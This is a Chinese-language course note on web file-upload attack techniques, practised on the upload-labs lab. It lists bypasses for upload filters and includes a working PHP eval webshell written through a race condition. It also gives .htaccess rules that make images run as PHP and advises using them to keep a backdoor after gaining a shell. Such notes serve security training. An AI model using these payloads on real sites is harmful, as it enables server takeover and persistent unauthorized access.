知識點:
1、WEB攻防-文件上傳-前端&黑白名單&MIME&文件頭等
2、WEB攻防-文件上傳-執行權限&解碼還原&云存儲&分站等
3、WEB攻防-文件上傳-JS提取&特定漏洞&第三方編輯器
4、WEB攻防-文件上傳-思維導圖形成
常規文件上傳:
1、一定要明白:
文件解析安全問題上,格式解析是一對一的(不能jpg解析php)
換句話來說有解析錯誤配置或后綴解析漏洞時才能實現格式差異解析2、文件上傳安全指的是攻擊者通過利用上傳實現后門的寫入連接后門進行權限控制的安全問題,對于如何確保這類安全問題,一般會從原生態功能中的文件內容,文件后綴,文件類型等方面判斷,但是漏洞可能不僅在本身的代碼驗證邏輯中出現安全問題,也會在語言版本,語言函數,中間件,引用的第三方編輯器等存在缺陷地方配合利用。另外文件上傳也有多個存儲邏輯,不同的文件存儲方案也會給攻擊者帶來不一樣的挑戰!1、無限制
任意上傳,什么文件都能上傳2、有限制:
限制后綴格式(判斷后綴名(黑白名單),MIME類型,文件頭等)應用場景:
1、注冊用戶上傳地方
2、后臺或其他管理頁面
3、源碼泄露或盲測文件
4、JS或API接口的代碼
5、第三方編輯器上傳漏洞
6、特定的源碼審計漏洞
一、演示案例-WEB攻防-文件上傳-前端&黑白名單&MIME&文件頭等
0、測試環境安裝參考
字典:https://github.com/fuzzdb-project/fuzzdb
靶場環境:https://github.com/sqlsec/upload-labs-docker
docker
安裝
下載靶場項目并進入項目文件夾
cd upload-labs-docker
一鍵部署運行
docker-compose up -d
1、前端JS
如何判斷是否是前端驗證呢?
首先抓包監聽,如果上傳文件的時候還沒有抓取到數據包,但是瀏覽器就提示文件類型不正確的話,那么這個多半就是前端校驗了
如何繞過?
先上傳一個圖片后綴抓包改成腳本后綴
2、.htaccess(apache獨有的配置文件)
一般上傳用的不多,主要用來留后門
apache
中,.htaccess
文件可以上傳并執行
這個文件定義了哪些格式文件可以以腳本方式解析
方式一:
在.htaccess
中寫入:
<FilesMatch "s.jpg">SetHandler application/x-httpd-php
</FilesMatch>
然后再上傳shell.jpg
的木馬, 這樣shell.jpg
就可解析為php
文件
最好拿到shell
之后修改自帶的這個文件,添加上面的那段代碼,就可以留個后門了
方式二:
AddType application/x-httpd-php .png
當.htaccess
文件成功上傳后,這時候再上傳一個png
圖片的后門,就可以解析成腳本
3、MIME類型
Content-Type:image/png
4、文件頭判斷
GIF89a
5、黑名單-過濾不嚴
無遞歸(只檢測一次,沒循環)
pphphp(因為代碼中是把匹配到的黑名單替換為空)
6、黑名單-過濾不嚴(windows中大小寫沒問題,但是在linux上是不能大小寫的,要么全小寫,要么全大寫)
系統大小寫敏感屬性
7、PHP低版本GET-%00截斷
自動解碼一次
/var/www/html/upload/x.php%00
8、PHP低版本POST-%00截斷
手工解碼一次
../upload/x.php%00 二次解碼
9、黑名單-過濾不嚴
php3
利用fuzz
思路去跑后綴
10、邏輯不嚴-條件競爭
1.上傳不斷發包
2.請求不斷發包
3.訪問創建腳本代碼
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
11、二次渲染
后端語言會對圖片進行二次渲染,讓圖片更好的呈現出來,但是這樣就會造成一個圖片里插入的腳本代碼丟失的情況,但是需要配合文件包含漏洞,沒啥意義。
1.先搞個正常圖片,上傳圖片后導出渲染后的圖片
2.對比保留部分,在保留部分添加后門代碼
3.最后利用提示的文件包含執行圖片后門代碼
12、函數缺陷
1.使用move_uploaded_file 函數
2.保存的文件名可控
1.php/.
二、演示案例-WEB攻防-文件上傳-應用場景-JS提取&源碼類&編輯器
1、JS或API接口代碼
DEMO
真實案例
2、第三方編輯器上傳漏洞
ueditor漏洞參考:
https://www.cnblogs.com/linglinglingling/p/18040866
https://blog.csdn.net/weixin_58099903/article/details/125810825
DEMO
真實案例
3、特定的源碼漏洞
三、演示案例-WEB攻防-文件上傳-實戰遇到的情況-執行權限&解碼還原&分站存儲&OSS存儲
1、執行權限
文件上傳后存儲目錄不給執行權限
繞過條件:能控制上傳文件存儲目錄
2、解碼還原
文件上傳后利用編碼傳輸解碼還原
繞過:無法直接繞過
3、分站存儲
upload.xiaodi8.com 上傳
images.xiaodi8.com 存儲
繞過:迂回戰術,上傳腳本到images.xiaodi8.com并控制這個網站,在從images.xiaodi8.com迂回到upload.xiaodi8.com(也就是類似旁站、C段入侵)
4、OSS對象
Access控制-OSS對象存儲-Bucket對象